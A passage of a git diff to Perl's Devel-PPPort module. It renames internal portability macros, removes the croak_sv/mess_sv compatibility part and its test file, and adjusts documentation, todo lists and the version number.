D_PPP_SVPV_NOLEN_LP_ARG &PL_na +# define DPPP_SVPV_NOLEN_LP_ARG &PL_na #else -# define D_PPP_SVPV_NOLEN_LP_ARG 0 +# define DPPP_SVPV_NOLEN_LP_ARG 0 #endif __UNDEFINED__ SvPV_const(sv, lp) SvPV_flags_const(sv, lp, SV_GMAGIC) @@ -146,7 +147,7 @@ __UNDEFINED__ SvPV_flags_const(sv, lp, flags) \ __UNDEFINED__ SvPV_flags_const_nolen(sv, flags) \ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \ ? SvPVX_const(sv) : \ - (const char*) sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags|SV_CONST_RETURN)) + (const char*) sv_2pv_flags(sv, DPPP_SVPV_NOLEN_LP_ARG, flags|SV_CONST_RETURN)) __UNDEFINED__ SvPV_flags_mutable(sv, lp, flags) \ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \ @@ -165,7 +166,7 @@ __UNDEFINED__ SvPV_force_flags(sv, lp, flags) \ __UNDEFINED__ SvPV_force_flags_nolen(sv, flags) \ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \ - ? SvPVX(sv) : sv_pvn_force_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags)) + ? SvPVX(sv) : sv_pvn_force_flags(sv, DPPP_SVPV_NOLEN_LP_ARG, flags)) __UNDEFINED__ SvPV_force_flags_mutable(sv, lp, flags) \ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \ @@ -174,17 +175,17 @@ __UNDEFINED__ SvPV_force_flags_mutable(sv, lp, flags) \ __UNDEFINED__ SvPV_nolen(sv) \ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \ - ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC)) + ? SvPVX(sv) : sv_2pv_flags(sv, DPPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC)) __UNDEFINED__ SvPV_nolen_const(sv) \ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \ - ? SvPVX_const(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC|SV_CONST_RETURN)) + ? SvPVX_const(sv) : sv_2pv_flags(sv, DPPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC|SV_CONST_RETURN)) __UNDEFINED__ SvPV_nomg(sv, lp) SvPV_flags(sv, lp, 0) __UNDEFINED__ SvPV_nomg_const(sv, lp) SvPV_flags_const(sv, lp, 0) __UNDEFINED__ SvPV_nomg_const_nolen(sv) SvPV_flags_const_nolen(sv, 0) __UNDEFINED__ SvPV_nomg_nolen(sv) ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \ - ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, 0)) + ? SvPVX(sv) : sv_2pv_flags(sv, DPPP_SVPV_NOLEN_LP_ARG, 0)) __UNDEFINED__ SvPV_renew(sv,n) STMT_START { SvLEN_set(sv, n); \ SvPV_set((sv), (char *) saferealloc( \ diff --git a/dist/Devel-PPPort/parts/inc/call b/dist/Devel-PPPort/parts/inc/call index 7c46cbb450af..7d8e4d37e5f6 100644 --- a/dist/Devel-PPPort/parts/inc/call +++ b/dist/Devel-PPPort/parts/inc/call @@ -69,8 +69,8 @@ eval_pv(char *p, I32 croak_on_error) sv = POPs; PUTBACK; - if (croak_on_error && SvTRUEx(ERRSV)) - croak_sv(ERRSV); + if (croak_on_error && SvTRUE(GvSV(errgv))) + croak(SvPVx(GvSV(errgv), na)); return sv; } diff --git a/dist/Devel-PPPort/parts/inc/mess b/dist/Devel-PPPort/parts/inc/mess deleted file mode 100644 index 49755ec38967..000000000000 --- a/dist/Devel-PPPort/parts/inc/mess +++ /dev/null @@ -1,518 +0,0 @@ -################################################################################ -## -## Copyright (C) 2017, Pali -## -## This program is free software; you can redistribute it and/or -## modify it under the same terms as Perl itself. -## -################################################################################ - -=provides - -croak_sv -die_sv -mess_sv -warn_sv - -vmess -mess_nocontext -mess - -warn_nocontext - -croak_nocontext - -croak_no_modify -Perl_croak_no_modify - -croak_memory_wrap -croak_xs_usage - -PERL_ARGS_ASSERT_CROAK_XS_USAGE - -=dontwarn - -NEED_mess -NEED_mess_nocontext -NEED_vmess - -=implementation - -#ifdef NEED_mess_sv -#define NEED_mess -#endif - -#ifdef NEED_mess -#define NEED_mess_nocontext -#define NEED_vmess -#endif - -#ifndef croak_sv -#if { VERSION >= 5.7.3 } || ( { VERSION >= 5.6.1 } && { VERSION < 5.7.0 } ) -# if ( { VERSION >= 5.8.0 } && { VERSION < 5.8.9 } ) || ( { VERSION >= 5.9.0 } && { VERSION < 5.10.1 } ) -# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) \ - STMT_START { \ - if (sv != ERRSV) \ - SvFLAGS(ERRSV) = (SvFLAGS(ERRSV) & ~SVf_UTF8) | \ - (SvFLAGS(sv) & SVf_UTF8); \ - } STMT_END -# else -# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) STMT_START {} STMT_END -# endif -# define croak_sv(sv) \ - STMT_START { \ - if (SvROK(sv)) { \ - sv_setsv(ERRSV, sv); \ - croak(NULL); \ - } else { \ - D_PPP_FIX_UTF8_ERRSV(ERRSV, sv); \ - croak("%" SVf, SVfARG(sv)); \ - } \ - } STMT_END -#elif { VERSION >= 5.4.0 } -# define croak_sv(sv) croak("%" SVf, SVfARG(sv)) -#else -# define croak_sv(sv) croak("%s", SvPV_nolen(sv)) -#endif -#endif - -#ifndef die_sv -#if { NEED die_sv } -OP * -die_sv(pTHX_ SV *sv) -{ - croak_sv(sv); - return (OP *)NULL; -} -#endif -#endif - -#ifndef warn_sv -#if { VERSION >= 5.4.0 } -# define warn_sv(sv) warn("%" SVf, SVfARG(sv)) -#else -# define warn_sv(sv) warn("%s", SvPV_nolen(sv)) -#endif -#endif - -#ifndef vmess -#if { NEED vmess } -SV* -vmess(pTHX_ const char* pat, va_list* args) -{ - mess(pat, args); - return PL_mess_sv; -} -#endif -#endif - -#if { VERSION < 5.6.0 } -#undef mess -#endif - -#if !defined(mess_nocontext) && !defined(Perl_mess_nocontext) -#if { NEED mess_nocontext } -SV* -mess_nocontext(const char* pat, ...) -{ - dTHX; - SV *sv; - va_list args; - va_start(args, pat); - sv = vmess(pat, &args); - va_end(args); - return sv; -} -#endif -#endif - -#ifndef mess -#if { NEED mess } -SV* -mess(pTHX_ const char* pat, ...) -{ - SV *sv; - va_list args; - va_start(args, pat); - sv = vmess(pat, &args); - va_end(args); - return sv; -} -#ifdef mess_nocontext -#define mess mess_nocontext -#else -#define mess Perl_mess_nocontext -#endif -#endif -#endif - -#ifndef mess_sv -#if { NEED mess_sv } -SV * -mess_sv(pTHX_ SV *basemsg, bool consume) -{ - SV *tmp; - SV *ret; - - if (SvPOK(basemsg) && SvCUR(basemsg) && *(SvEND(basemsg)-1) == '\n') { - if (consume) - return basemsg; - ret = mess(""); - SvSetSV_nosteal(ret, basemsg); - return ret; - } - - if (consume) { - sv_catsv(basemsg, mess("")); - return basemsg; - } - - ret = mess(""); - tmp = newSVsv(ret); - SvSetSV_nosteal(ret, basemsg); - sv_catsv(ret, tmp); - sv_dec(tmp); - return ret; -} -#endif -#endif - -#ifndef warn_nocontext -#define warn_nocontext warn -#endif - -#ifndef croak_nocontext -#define croak_nocontext croak -#endif - -#ifndef croak_no_modify -#define croak_no_modify() croak_nocontext("%s", PL_no_modify) -#define Perl_croak_no_modify() croak_no_modify() -#endif - -#ifndef croak_memory_wrap -#if { VERSION >= 5.9.2 } || ( { VERSION >= 5.8.6 } && { VERSION < 5.9.0 } ) -# define croak_memory_wrap() croak_nocontext("%s", PL_memory_wrap) -#else -# define croak_memory_wrap() croak_nocontext("panic: memory wrap") -#endif -#endif - -#ifndef croak_xs_usage -#if { NEED croak_xs_usage } - -#ifndef PERL_ARGS_ASSERT_CROAK_XS_USAGE -#define PERL_ARGS_ASSERT_CROAK_XS_USAGE assert(cv); assert(params) -#endif - -void -croak_xs_usage(const CV *const cv, const char *const params) -{ - dTHX; - const GV *const gv = CvGV(cv); - - PERL_ARGS_ASSERT_CROAK_XS_USAGE; - - if (gv) { - const char *const gvname = GvNAME(gv); - const HV *const stash = GvSTASH(gv); - const char *const hvname = stash ? HvNAME(stash) : NULL; - - if (hvname) - croak("Usage: %s::%s(%s)", hvname, gvname, params); - else - croak("Usage: %s(%s)", gvname, params); - } else { - /* Pants. I don't think that it should be possible to get here. */ - croak("Usage: CODE(0x%" UVxf ")(%s)", PTR2UV(cv), params); - } -} -#endif -#endif - -=xsinit - -#define NEED_die_sv -#define NEED_mess_sv -#define NEED_croak_xs_usage - -=xsubs - -void -croak_sv(sv) - SV *sv -CODE: - croak_sv(sv); - -void -die_sv(sv) - SV *sv -CODE: - (void)die_sv(sv); - -void -warn_sv(sv) - SV *sv -CODE: - warn_sv(sv); - -SV * -mess_sv(sv, consume) - SV *sv - bool consume -CODE: - RETVAL = newSVsv(mess_sv(sv, consume)); -OUTPUT: - RETVAL - -void -croak_no_modify() -CODE: - croak_no_modify(); - -void -croak_memory_wrap() -CODE: - croak_memory_wrap(); - -void -croak_xs_usage(params) - char *params -CODE: - croak_xs_usage(cv, params); - -=tests plan => 93 - -BEGIN { if ($] lt '5.006') { $^W = 0; } } - -my $warn; -my $die; -local $SIG{__WARN__} = sub { $warn = $_[0] }; -local $SIG{__DIE__} = sub { $die = $_[0] }; - -my $scalar_ref = \do {my $tmp = 10}; -my $array_ref = []; -my $hash_ref = {}; -my $obj = bless {}, 'Package'; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") }; -ok $@, "\xE1\n"; -ok $die, "\xE1\n"; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv(10) }; -ok $@ =~ /^10 at $0 line /; -ok $die =~ /^10 at $0 line /; - -undef $die; -$@ = 'should not be visible (1)'; -ok !defined eval { - $@ = 'should not be visible (2)'; - Devel::PPPort::croak_sv(''); -}; -ok $@ =~ /^ at $0 line /; -ok $die =~ /^ at $0 line /; - -undef $die; -$@ = 'should not be visible'; -ok !defined eval { - $@ = 'this must be visible'; - Devel::PPPort::croak_sv($@) -}; -ok $@ =~ /^this must be visible at $0 line /; -ok $die =~ /^this must be visible at $0 line /; - -undef $die; -$@ = 'should not be visible'; -ok !defined eval { - $@ = "this must be visible\n"; - Devel::PPPort::croak_sv($@) -}; -ok $@, "this must be visible\n"; -ok $die, "this must be visible\n"; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv('') }; -ok $@ =~ /^ at $0 line /; -ok $die =~ /^ at $0 line /; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xE1") }; -ok $@ =~ /^\xE1 at $0 line /; -ok $die =~ /^\xE1 at $0 line /; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") }; -ok $@ =~ /^\xC3\xA1 at $0 line /; -ok $die =~ /^\xC3\xA1 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xE1\n"); -ok $warn, "\xE1\n"; - -undef $warn; -Devel::PPPort::warn_sv(10); -ok $warn =~ /^10 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv(''); -ok $warn =~ /^ at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xE1"); -ok $warn =~ /^\xE1 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xC3\xA1"); -ok $warn =~ /^\xC3\xA1 at $0 line /; - -ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n"; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n"; - -ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /; - -ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /; - -ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /; - -ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /; - -if ($] ge '5.006') { - BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } } - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") }; - ok $@, "\x{100}\n"; - if ($] ne '5.008') { - ok $die, "\x{100}\n"; - } else { - skip 'skip: broken utf8 support in die hook', 0; - } - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv("\x{100}") }; - ok $@ =~ /^\x{100} at $0 line /; - if ($] ne '5.008') { - ok $die =~ /^\x{100} at $0 line /; - } else { - skip 'skip: broken utf8 support in die hook', 0; - } - - if ($] ne '5.008') { - undef $warn; - Devel::PPPort::warn_sv("\x{100}\n"); - ok $warn, "\x{100}\n"; - - undef $warn; - Devel::PPPort::warn_sv("\x{100}"); - ok (my $tmp = $warn) =~ /^\x{100} at $0 line /; - } else { - skip 'skip: broken utf8 support in warn hook', 0 for 1..2; - } - - ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n"; - ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n"; - - ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /; - ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /; -} else { - skip 'skip: no utf8 support', 0 for 1..12; -} - -if (ord('A') != 65) { - skip 'skip: no ASCII support', 0 for 1..24; -} elsif ($] ge '5.008' && $] ne '5.012000') { - undef $die; - ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') }; - ok $@, "\xE1\n"; - ok $die, "\xE1\n"; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') }; - ok $@ =~ /^\xE1 at $0 line /; - ok $die =~ /^\xE1 at $0 line /; - - { - undef $die; - my $expect = eval '"\N{U+C3}\N{U+A1}\n"'; - ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") }; - ok $@, $expect; - ok $die, $expect; - } - - { - undef $die; - my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") }; - ok $@ =~ $expect; - ok $die =~ $expect; - } - - undef $warn; - Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"'); - ok $warn, "\xE1\n"; - - undef $warn; - Devel::PPPort::warn_sv(eval '"\N{U+E1}"'); - ok $warn =~ /^\xE1 at $0 line /; - - undef $warn; - Devel::PPPort::warn_sv("\xC3\xA1\n"); - ok $warn, eval '"\N{U+C3}\N{U+A1}\n"'; - - undef $warn; - Devel::PPPort::warn_sv("\xC3\xA1"); - ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - - ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"'; - ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"'; - - ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /'; - ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /'; - - ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"'; - ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"'; - - ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; -} else { - skip 'skip: no support for \N{U+..} syntax', 0 for 1..24; -} - -if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) { - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) }; - ok $@ == $scalar_ref; - ok $die == $scalar_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($array_ref) }; - ok $@ == $array_ref; - ok $die == $array_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($hash_ref) }; - ok $@ == $hash_ref; - ok $die == $hash_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($obj) }; - ok $@ == $obj; - ok $die == $obj; -} else { - skip 'skip: no support for exceptions', 0 for 1..12; -} - -ok !defined eval { Devel::PPPort::croak_no_modify() }; -ok $@ =~ /^Modification of a read-only value attempted at $0 line /; - -ok !defined eval { Devel::PPPort::croak_memory_wrap() }; -ok $@ =~ /^panic: memory wrap at $0 line /; - -ok !defined eval { Devel::PPPort::croak_xs_usage("params") }; -ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /; diff --git a/dist/Devel-PPPort/parts/inc/misc b/dist/Devel-PPPort/parts/inc/misc index 949c481088eb..181311e5c05b 100644 --- a/dist/Devel-PPPort/parts/inc/misc +++ b/dist/Devel-PPPort/parts/inc/misc @@ -43,6 +43,7 @@ C_ARRAY_LENGTH C_ARRAY_END SvRX SvRXOK +PERL_MAGIC_qr cBOOL OpHAS_SIBLING OpSIBLING @@ -52,6 +53,8 @@ OpMAYBESIB_set =implementation +__UNDEFINED__ PERL_MAGIC_qr 'r' + __UNDEFINED__ cBOOL(cbool) ((cbool) ? (bool)1 : (bool)0) __UNDEFINED__ OpHAS_SIBLING(o) (cBOOL((o)->op_sibling)) __UNDEFINED__ OpSIBLING(o) (0 + (o)->op_sibling) @@ -319,16 +322,14 @@ __UNDEFINED__ isXDIGIT(c) isxdigit(c) # undef isPRINT # endif -#ifndef WIDEST_UTYPE -# ifdef QUADKIND -# ifdef U64TYPE -# define WIDEST_UTYPE U64TYPE -# else -# define WIDEST_UTYPE Quad_t -# endif +#ifdef HAS_QUAD +# ifdef U64TYPE +# define WIDEST_UTYPE U64TYPE # else -# define WIDEST_UTYPE U32 +# define WIDEST_UTYPE Quad_t # endif +#else +# define WIDEST_UTYPE U32 #endif __UNDEFINED__ isALNUMC(c) (isALPHA(c) || isDIGIT(c)) @@ -623,7 +624,7 @@ SVf(x) SV *x PPCODE: #if { VERSION >= 5.004 } - x = sv_2mortal(newSVpvf("[%" SVf "]", SVfARG(x))); + x = sv_2mortal(newSVpvf("[%"SVf"]", SVfARG(x))); #endif XPUSHs(x); XSRETURN(1); diff --git a/dist/Devel-PPPort/parts/inc/ppphdoc b/dist/Devel-PPPort/parts/inc/ppphdoc index 857f39e3fcb7..09e987ae781b 100644 --- a/dist/Devel-PPPort/parts/inc/ppphdoc +++ b/dist/Devel-PPPort/parts/inc/ppphdoc @@ -50,8 +50,8 @@ ppport.h - Perl/Pollution/Portability version __VERSION__ --nochanges don't suggest changes --nofilter don't filter input files - --strip strip all script and doc functionality - from ppport.h + --strip strip all script and doc functionality from + ppport.h --list-provided list provided API --list-unsupported list unsupported API @@ -297,7 +297,7 @@ before sending a bug report. If F was generated using the latest version of C and is causing failure of this module, please -send a bug report to L. +file a bug report here: L Please include the following information: diff --git a/dist/Devel-PPPort/parts/inc/ppphtest b/dist/Devel-PPPort/parts/inc/ppphtest index 925929d66816..cef6c4099466 100644 --- a/dist/Devel-PPPort/parts/inc/ppphtest +++ b/dist/Devel-PPPort/parts/inc/ppphtest @@ -523,7 +523,6 @@ call_pv(); #define NEED_eval_pv_GLOBAL #define NEED_grok_hex #define NEED_newCONSTSUB_GLOBAL -#define NEED_sv_2pv_flags_GLOBAL #include "ppport.h" newCONSTSUB(); diff --git a/dist/Devel-PPPort/parts/inc/pv_tools b/dist/Devel-PPPort/parts/inc/pv_tools index af75c423ca61..41a4907c6bfe 100644 --- a/dist/Devel-PPPort/parts/inc/pv_tools +++ b/dist/Devel-PPPort/parts/inc/pv_tools @@ -262,11 +262,9 @@ ok($r[0], "foobarbaz"); ok($r[2], $r[3]); ok($r[2], ''); ok($r[4], $r[5]); -skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0, - $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303'); +ok($r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303'); ok($r[6], $r[7]); -skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0, - $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...'); +ok($r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...'); @r = &Devel::PPPort::pv_display(); ok($r[0], $r[1]); diff --git a/dist/Devel-PPPort/parts/inc/threads b/dist/Devel-PPPort/parts/inc/threads index 9a8f6ac4b30c..830fadfb4b5f 100644 --- a/dist/Devel-PPPort/parts/inc/threads +++ b/dist/Devel-PPPort/parts/inc/threads @@ -57,9 +57,9 @@ no_THX_arg(sv) void with_THX_arg(error) - SV *error + char *error PPCODE: - croak_sv(error); + Perl_croak(aTHX_ "%s", error); =tests plan => 2 diff --git a/dist/Devel-PPPort/parts/inc/version b/dist/Devel-PPPort/parts/inc/version index c321b203c923..1d5c556af470 100644 --- a/dist/Devel-PPPort/parts/inc/version +++ b/dist/Devel-PPPort/parts/inc/version @@ -19,6 +19,7 @@ PERL_BCDVERSION =dontwarn PERL_PATCHLEVEL_H_IMPLICIT +_dpppDEC2BCD =implementation @@ -40,8 +41,8 @@ PERL_PATCHLEVEL_H_IMPLICIT # endif #endif -#define D_PPP_DEC2BCD(dec) ((((dec)/100)<<8)|((((dec)%100)/10)<<4)|((dec)%10)) -#define PERL_BCDVERSION ((D_PPP_DEC2BCD(PERL_REVISION)<<24)|(D_PPP_DEC2BCD(PERL_VERSION)<<12)|D_PPP_DEC2BCD(PERL_SUBVERSION)) +#define _dpppDEC2BCD(dec) ((((dec)/100)<<8)|((((dec)%100)/10)<<4)|((dec)%10)) +#define PERL_BCDVERSION ((_dpppDEC2BCD(PERL_REVISION)<<24)|(_dpppDEC2BCD(PERL_VERSION)<<12)|_dpppDEC2BCD(PERL_SUBVERSION)) /* It is very unlikely that anyone will try to use this with Perl 6 (or greater), but who knows. diff --git a/dist/Devel-PPPort/parts/todo/5006000 b/dist/Devel-PPPort/parts/todo/5006000 index 6c0acac231a1..8c8f7df323dc 100644 --- a/dist/Devel-PPPort/parts/todo/5006000 +++ b/dist/Devel-PPPort/parts/todo/5006000 @@ -90,6 +90,7 @@ is_utf8_space # U is_utf8_upper # U is_utf8_xdigit # U magic_dump # U +mess # E (Perl_mess) my_atof # U my_fflush_all # U newANONATTRSUB # U @@ -146,5 +147,6 @@ utf8_distance # U utf8_hop # U vcroak # U vform # U +vmess # U vwarn # U vwarner # U diff --git a/dist/Devel-PPPort/parts/todo/5010001 b/dist/Devel-PPPort/parts/todo/5010001 index 15f4091cc197..4ec5eee4922a 100644 --- a/dist/Devel-PPPort/parts/todo/5010001 +++ b/dist/Devel-PPPort/parts/todo/5010001 @@ -1,4 +1,5 @@ 5.010001 +croak_xs_usage # U mro_get_from_name # U mro_get_private_data # U mro_register # U diff --git a/dist/Devel-PPPort/parts/todo/5013001 b/dist/Devel-PPPort/parts/todo/5013001 deleted file mode 100644 index a13e28cc4a2d..000000000000 --- a/dist/Devel-PPPort/parts/todo/5013001 +++ /dev/null @@ -1,2 +0,0 @@ -5.013001 -sv_2nv_flags # U diff --git a/dist/Devel-PPPort/parts/todo/5013003 b/dist/Devel-PPPort/parts/todo/5013003 index da041b1723a4..5e04f03c8a57 100644 --- a/dist/Devel-PPPort/parts/todo/5013003 +++ b/dist/Devel-PPPort/parts/todo/5013003 @@ -1,2 +1,3 @@ 5.013003 blockhook_register # E +croak_no_modify # U diff --git a/dist/Devel-PPPort/parts/todo/5019003 b/dist/Devel-PPPort/parts/todo/5019003 deleted file mode 100644 index 4bcc1d17f8c8..000000000000 --- a/dist/Devel-PPPort/parts/todo/5019003 +++ /dev/null @@ -1,2 +0,0 @@ -5.019003 -sv_pos_b2u_flags # U diff --git a/dist/Devel-PPPort/ppport_h.PL b/dist/Devel-PPPort/ppport_h.PL index b7877b32774b..e8c7c1e0d092 100644 --- a/dist/Devel-PPPort/ppport_h.PL +++ b/dist/Devel-PPPort/ppport_h.PL @@ -14,6 +14,6 @@ ################################################################################ package Devel::PPPort; -require "./PPPort.pm"; +require "PPPort.pm"; rename 'ppport.h', 'ppport.old' if -f 'ppport.h'; unlink "ppport.old" if WriteFile("ppport.h") && -f 'ppport.h'; diff --git a/dist/Devel-PPPort/soak b/dist/Devel-PPPort/soak index 391cffedf231..7473d7784c3d 100644 --- a/dist/Devel-PPPort/soak +++ b/dist/Devel-PPPort/soak @@ -27,7 +27,7 @@ use File::Find; use List::Util qw(max); use Config; -my $VERSION = '3.36'; +my $VERSION = '3.35'; $| = 1; my %OPT = ( @@ -507,8 +507,7 @@ soak - Test Perl modules with multiple Perl releases --make=program override name of make program ($Config{make}) --min=version use at least this version of perl - --mmargs=options pass options to Makefile.PL (multiple --mmargs - possible) + --mmargs=options pass options to Makefile.PL (multiple --mmargs possible) --verbose be verbose --nocolor don't use colored output diff --git a/dist/Devel-PPPort/t/HvNAME.t b/dist/Devel-PPPort/t/HvNAME.t index 6bf39f10db47..f54fac2c8925 100644 --- a/dist/Devel-PPPort/t/HvNAME.t +++ b/dist/Devel-PPPort/t/HvNAME.t @@ -49,7 +49,7 @@ bootstrap Devel::PPPort; package main; ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort'); -ok(!defined Devel::PPPort::HvNAME_get({})); +ok(Devel::PPPort::HvNAME_get({}), undef); ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort')); ok(Devel::PPPort::HvNAMELEN_get({}), 0); diff --git a/dist/Devel-PPPort/t/mess.t b/dist/Devel-PPPort/t/mess.t deleted file mode 100644 index 9a9822ade0d3..000000000000 --- a/dist/Devel-PPPort/t/mess.t +++ /dev/null @@ -1,284 +0,0 @@ -################################################################################ -# -# !!!!! Do NOT edit this file directly! !!!!! -# -# Edit mktests.PL and/or parts/inc/mess instead. -# -# This file was automatically generated from the definition files in the -# parts/inc/ subdirectory by mktests.PL. To learn more about how all this -# works, please read the F file that came with this distribution. -# -################################################################################ - -BEGIN { - if ($ENV{'PERL_CORE'}) { - chdir 't' if -d 't'; - @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext'; - require Config; import Config; - use vars '%Config'; - if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) { - print "1..0 # Skip -- Perl configured without Devel::PPPort module\n"; - exit 0; - } - } - else { - unshift @INC, 't'; - } - - sub load { - eval "use Test"; - require 'testutil.pl' if $@; - } - - if (93) { - load(); - plan(tests => 93); - } -} - -use Devel::PPPort; -use strict; -$^W = 1; - -package Devel::PPPort; -use vars '@ISA'; -require DynaLoader; -@ISA = qw(DynaLoader); -bootstrap Devel::PPPort; - -package main; - -BEGIN { if ($] lt '5.006') { $^W = 0; } } - -my $warn; -my $die; -local $SIG{__WARN__} = sub { $warn = $_[0] }; -local $SIG{__DIE__} = sub { $die = $_[0] }; - -my $scalar_ref = \do {my $tmp = 10}; -my $array_ref = []; -my $hash_ref = {}; -my $obj = bless {}, 'Package'; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") }; -ok $@, "\xE1\n"; -ok $die, "\xE1\n"; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv(10) }; -ok $@ =~ /^10 at $0 line /; -ok $die =~ /^10 at $0 line /; - -undef $die; -$@ = 'should not be visible (1)'; -ok !defined eval { - $@ = 'should not be visible (2)'; - Devel::PPPort::croak_sv(''); -}; -ok $@ =~ /^ at $0 line /; -ok $die =~ /^ at $0 line /; - -undef $die; -$@ = 'should not be visible'; -ok !defined eval { - $@ = 'this must be visible'; - Devel::PPPort::croak_sv($@) -}; -ok $@ =~ /^this must be visible at $0 line /; -ok $die =~ /^this must be visible at $0 line /; - -undef $die; -$@ = 'should not be visible'; -ok !defined eval { - $@ = "this must be visible\n"; - Devel::PPPort::croak_sv($@) -}; -ok $@, "this must be visible\n"; -ok $die, "this must be visible\n"; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv('') }; -ok $@ =~ /^ at $0 line /; -ok $die =~ /^ at $0 line /; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xE1") }; -ok $@ =~ /^\xE1 at $0 line /; -ok $die =~ /^\xE1 at $0 line /; - -undef $die; -ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") }; -ok $@ =~ /^\xC3\xA1 at $0 line /; -ok $die =~ /^\xC3\xA1 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xE1\n"); -ok $warn, "\xE1\n"; - -undef $warn; -Devel::PPPort::warn_sv(10); -ok $warn =~ /^10 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv(''); -ok $warn =~ /^ at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xE1"); -ok $warn =~ /^\xE1 at $0 line /; - -undef $warn; -Devel::PPPort::warn_sv("\xC3\xA1"); -ok $warn =~ /^\xC3\xA1 at $0 line /; - -ok Devel::PPPort::mess_sv("\xE1\n", 0), 